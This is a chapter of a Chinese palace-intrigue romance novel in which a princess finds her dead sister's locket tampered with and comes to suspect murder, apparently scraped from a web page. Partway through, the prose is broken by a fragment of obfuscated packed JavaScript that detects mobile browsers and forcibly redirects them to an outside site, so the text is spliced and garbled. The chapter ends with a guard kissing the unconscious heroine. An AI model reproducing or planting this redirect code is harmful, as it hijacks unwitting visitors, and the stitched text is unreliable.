盛霓将那些乱七八糟的思绪抛到脑后,伸出小手,接下景迟递过来的鲜花。 寝殿炭火烧得旺,本该深秋凋谢的花一直盛开至今。 盛霓将花瓣一片一片摘下,手边没有榻几,就临时放在景迟手心。 景迟单膝跪在长榻边,双手捧着花瓣静静等盛霓把两朵花全部摘秃。 盛霓偷偷瞥了一眼这位白大统领的神情,唇角绷了绷,忍住笑意——看不懂她在做什么,又努力想看懂的样子,有点好玩。 凭他是秦镜使又如何?也不是事事都懂得,比如她的心思,他就不可能猜透。 盛霓将绣花锦袋打开,拎到景迟面前,示意他将花放进来。 看着白夜疑惑的样子,盛霓解释:“暖囊的温度会将花瓣烤干保存,以后花香就留在暖囊里啦。” “殿下心灵手巧。” 景迟奉命将花瓣全部装入,不小心蹭到了盛霓的小手。她的手很凉,大约是寒气入体的缘故。 “调理这几日,徐九公子说殿下身子已大好。”景迟眼底透出关切,“明日,末将为殿下用内力驱寒,可好?” 盛霓仔细系紧锦袋绳的手一顿。 所以,他为自己驱寒也是伪装忠诚的一种方式,对吗? 早该想到的。 盛霓莞尔:“好呀,有劳白大统领。” “末将告退。” 这一次,盛霓没有再留。 “可以呀,你装忠诚,本宫就装宠信,倒要看看你葫芦里卖的什么药。” 盛霓捧着暖囊低声自语。 锦袋温暖的触感是真实的,直达肌肤深处。只是内芯发热的材质隔着里层软布不见真容。 “告诉本宫,你一个为圣上做尽秘事的秦镜使,到底能用什么效忠本宫?用这种自伤身子的方式吗?” 27. 遗物 第二日,景迟拿着写好的检讨书求见盛霓的时候,却被云朱告知公主不在寝殿。 景迟道:“公主去了何处?约好今日施功驱寒,前期不宜劳累。” 云朱知晓今日的安排,白大统领也不是外人,便道:“公主去了库房。” 景迟眉心微动,“末将听闻南下的行装已收拾妥当,公主这是要亲自检查?” 云朱只是笑而不语,十分眼尖地瞧见了景迟手里的信件,道:“今日是白大统领交检讨书的日子,不妨交给奴婢,待公主回来面呈,免得白大统领在此久候。” “有劳。”景迟神色不动,依言将检讨书交给云朱。 走入寝殿前的长长连廊,景迟余光一扫,见四下无人留意,纵身跃上了高耸的廊顶,直奔库房方向。 行装一类的庶务嘉琬一向不操心,今日破天荒地亲去库房,除了翻找嘉仪公主的遗物,还能做什么? …… “嘉琬,离开我们的人留下的爱物,说不定藏着她想对你说的话。” …… “臣妹回府后会好生整理姐姐的遗物,或许,也能听见姐姐留在世上的‘声音’。” …… 小公主终究还是……肯听他的话。 景迟身形飘过飞檐,抬眼望向碧蓝苍芎,幽深的眸底微露遗憾。 染血的真相即将撕裂,以毫不留情的姿态砰然破碎在她面前。 嘉琬,这是你不得不面对的。 末将陪殿下,一起。 - 盛霓记得今日与白夜有约,想着早早到库房瞧一眼,只瞧一眼,不耽误驱寒的时辰,不料一流连就耽搁下来。 公主府的库房共有四间矮舍,小件珍贵物品收在最里间的“云廷号”中,而嘉仪公主的遗物又在“云廷号”的内侧隔间里。 内侍合力拉开沉重的雕纹金属大门,四个提灯婢女趋步而入,侍立在隔间四角,暖黄的灯光将墙壁上夜明珠的幽幽光辉盖了下去。 嘉仪公主留下的爱物分门别类收在一只只箱笼里,盛霓特别着人将姐姐常戴的几套头面放在一只紫檀花钿木箱中。 木箱从高高的金丝楠木架上取下来时,仍保持着纤尘不染的状态。婢女合力开锁启箱,珠光宝气映亮了盛霓白皙的脸。 熟悉的明珠翠玉就在眼前,盛霓用力深吸了一口气,将眼眶中酸涩的泪水尽量忍回去。 说好的,不哭了。 盛霓一样样抚摸过那些金钗、步摇、玉簪、手钏…… 她会的,带着姐姐的爱物一起,让姐姐的在天之灵看着自己好好活下去。 “咝——” 盛霓的手指不知被什么刺了一下,吃痛地缩回。 晚晴连忙上前查看,见公主右手食指涌出一颗血珠,心疼极了,赶紧用干净的丝帕按住伤处。 “什么东西,这么尖?” 盛霓疑惑,小心地又伸手摸了摸,将东西从下层的半开式首饰盒里抽了出来。 是姐姐从不离身的那条南阳玉金锁项链。 据说这是当年母后留给姐姐的,姐姐视若珍宝,连沐浴、安寝都不曾取下,玉石被滋养得通透润滑,触手生温。 这条项链最难得之处,在于玉石下的赤金底托其实是一道机关锁,将一排六道凸齿拨动到特定位置,方可将金锁打开。 盛霓幼时曾央求姐姐打开过一次,里面居然当真藏着宝贝,是一颗浑圆珍珠,虽只有红豆大小,却生七色光华,暗室可见莹辉,是个顶顶稀罕之物。 姐姐说,那是母后当年的嫁妆单子里最珍贵的一件。 后来大齐皇宫被泷西节度使霸占,后来一把大火将母后的寝宫焚烧殆尽,母后留下的私物竟只剩了这条南阳玉金锁项链完好如初。 只是如今,项链的侧面机关处不知为何支出一根黄铜丝,方才正是它刺破了盛霓的手指。 晚晴惊道:“奴婢们一直小心收纳,连点磕碰也不该有的,怎么会有零件移位?” 盛霓心头闪过不祥的推测,叫晚晴把提灯拿近些,细瞧向机关锁的位置。 ……该不会被人动过吧? 盛霓按照姐姐教她的位置逐一拨动机关锁凸齿,拨到最后一片时,锁芯发出松动的磕碰声。盛霓手一抖,一块凸齿掉了下来,磕在玉石地面上,发出细碎的声响。 晚晴目瞪口呆,紧张得呼吸都急促起来:“这是怎么回事?库房的钥匙只有奴婢和云朱姐姐手里有,每次打扫,奴婢和云朱姐姐都亲自领着心腹进来,连孙嬷嬷都不踏足此地,怎会突然坏了?” “兴许不是‘突然’坏了呢。” 盛霓心念飞转。 “在钟慧公主府,没人会对它动手脚。要说有问题,只能发生在它回府之前。” 当时姐姐的贴身遗物被从京外运回,晚晴等人怕她瞧见更加伤心,早早便收进了库房,一放就是一整年。 这样捯回去想来…… 盛霓脸色一变,也顾不得金锁项链损坏,用力将锁扣掰了开。 “哎呀!”晚晴大惊失色,“七色珍珠不见了!大殿下看得跟眼珠子似的,从不离身,怎会不见了!” 也怪自己当初自作主张,不敢乱碰嘉仪公主的物件,不曾仔细检查便原样收进了箱笼,以致直到今日才发现了这天大的事。 晚晴看到的是少了的东西,盛霓看到的却是多出来的东西。 一朵干枯成血红色的小花,歪歪扭扭地被塞在项链内狭小的空间里。 “这是……”盛霓小心地把指尖凑过去,试图把干花取出来,弄清楚这一切究竟是怎么回事,可是又怕干花太脆弱,被自己碰碎,就再也没有线索了。 姐姐从不离身的项链被人破坏了,母后留下的七色珍珠也不知所踪,还有这莫名出现的枯花…… 怎么会这样…… 怎么会这样? 一道黑影罩下来,挡住了提灯的光,让盛霓看不清项链的轮廓。 盛霓蹲在原地,茫然地抬起头,看到了白夜那张俊秀的脸。 “殿下叫末将寻得好苦,原来在这儿。”景迟温声道,伸手将盛霓拉起来,“库房闷,光线又暗,原不是殿下该亲临之地,想看什么不妨到外面慢慢细看,蹲久了仔细腿麻。” 盛霓的小腿早就麻了,酸痛得站立不稳,只能扑在景迟怀里支撑着,小手还死死握着项链。 “末将送殿下回房休息。” 景迟的视线没有在她手上停留,直接将盛霓打横抱起,稳步走出了库房。 外面阳光刺目,盛霓抬手遮了遮,只觉那光线像是一道道金针,刺得人眼睛酸涩难忍。 身体像是被一只手狠狠掏穿,凉风就那无形的洞钻过去,只剩透心的凉。 盛霓紧紧搂住景迟的脖颈,将头埋在他肩头,不叫众人看见自己眼框红红的样子。 她说过要做一个让所有人心定的主子,怎么能当着下人的面在院中哭出来?可是恐惧和无助将她从头到脚包裹得严严实实,满腔的委屈几乎从眼眶汹涌而下。 盛霓死死攥住景迟的衣衫布料,粗粝的触感反而有种安全的气息,让她下意识想把自己整个人都藏进去,只一会儿,可以吗?只需稍稍消化一下,她就又可以是那个冷静自若的好主子,不是吗? 景迟寒凉的目光扫过两旁侍立的内侍、婢女,让那些瞪大眼睛的下人全都骇得低下头去,不敢再探究地盯着嘉琬公主看。 景迟一路将盛霓送回了寝殿,将人轻轻放在床榻上。 “末将陪殿下。” 景迟将声音放得很轻,回忆着大内官付春的行事风格,动手斟了一杯清水递到盛霓面前,倒在手背上试了温度,正宜饮用。 此刻嘉琬一定不需要太过馨香的茶汤,她需要的是一杯最为清淡简单的温水。 景迟极尽细节地模仿着一个真正的下人该做的事,深不见底的眸子不着痕迹地打量着盛霓手中的项链。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000601|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想必就是它了,那个擒获的谨王府下人供出来的遗物。 盛霓没有留意景迟清冷的视线停在何处,正垂着头怔怔地盯着项链中的枯花,那血红的颜色也如外面的日光般扎得人眼痛。 她就着景迟的手饮了两口温水,突然剧烈呛咳起来。 “殿下!”景迟将水杯递给晚晴,为盛霓抚背顺气,掌心暗运内劲,总算将咳嗽止住。 “若非发生了惊魂动魄的大事,姐姐绝不会用一朵花替换掉母后的七色珍珠。”盛霓喃喃。 这道金锁当今世上只有她和姐姐能够打开,除非彻底砸碎,否则不会有第三个人能开启。 姐姐将母后的七色珍珠替换成了这花,是专门换给她看的。 一定是有人发现姐姐对项链做了手脚,又不敢毁坏项链惹人怀疑,企图想法子将锁打开,却怎么都打不开,还不慎弄坏了一个锁齿。 也就是说,这朵枯花一定关系着一条关键信息,让人生怕这朵花的存在被旁人发现,查到什么。 盛霓抓住景迟的衣袖,剪水明眸楚楚可怜,仿佛风一吹她就会散去。 “太子哥哥他说得对,姐姐果真有话要对本宫说,这话她等了一轮四季,才终于被本宫听见。” “嘉仪公主说了什么?”景迟眸色幽幽。 盛霓却只是摇头,仿佛根本没听见景迟的声音。 当日太子突然提点她有关姐姐遗物之事,如今想来,多半不是一时兴起,而是他掌握了什么消息。 不止如此,那日太子哥哥是怎么问的? …… “你姐姐究竟是怎么去的?” …… 盛霓瞳孔骤缩。 太子哥哥根本不是不记得姐姐的死因,他是明知故问! 他早就知道姐姐的死另有隐情,早就知道姐姐的遗物里藏有信息! 他是在指引她! 姐姐,是被人害死的! 盛霓仿佛被抽空了所有力气,被景迟眼疾手快地揽住。她撑着景迟的手臂想要站起来,一股一股的寒意却从骨缝里叫嚣起来,将她的意识向下拖拽。 她必须弄清,姐姐究竟想通过这条项链告诉她什么。 这件事,只有太子能帮她,他手里有她没有的消息。 “本宫要去东宫,本宫要见太子哥哥……” 盛霓抓住身边人的手,已经分不清那究竟是谁,只是不停地重复着:“本宫要见太子哥哥……” 说到最后,已是气若游丝,低不可闻。 “小殿下!”晚晴眼睁睁看着盛霓失去了意识,急得几乎哭出来。 景迟沉着脸将盛霓放倒在寝塌上,对晚晴道:“没时间哭,即刻派人去徐府请徐九公子,末将这就为公主运功驱寒,不能再等下去了。” 说罢,景迟又对云朱道:“搭把手,将公主扶起来。末将需坐到公主身后,通过背心神道、神堂、意舍、悬枢四穴将内力通入公主筋脉。” 晚晴、云朱二人一愣,被景迟浑然天成的威势所摄,连忙遵从地行动起来。 景迟利落地脱下外衫,卷起雪白中衣的袖口,盘膝坐到盛霓身后,双掌交叠变幻,四周帷幔立时无风而动,盛霓身上轻薄的内衫也随着内力带起的气流微微拂动。 云朱哪见过这等高深功法,怔了好一会儿才想起将床帷放下,再将炭盆挪近些,免得公主受凉。 “都出去。”景迟从牙缝里挤出三个字,显然无心分神。 云朱担忧地瞧了瞧公主苍白憔悴的脸色,事到如今只能选择相信白大统领,依言带屋内人等退到门外等候。 景迟将内力运转几个周天,伸手扶住盛霓的小脸,将她的上身和脸扭转过来半圈。 当着婢女的面,自是不能明言真正的渡气功法。 嘉琬,你必须健康地活下去,后面的事,只有你能做到。 景迟微微偏头,张口咬住了盛霓的粉唇,用舌尖撬开了她的小嘴。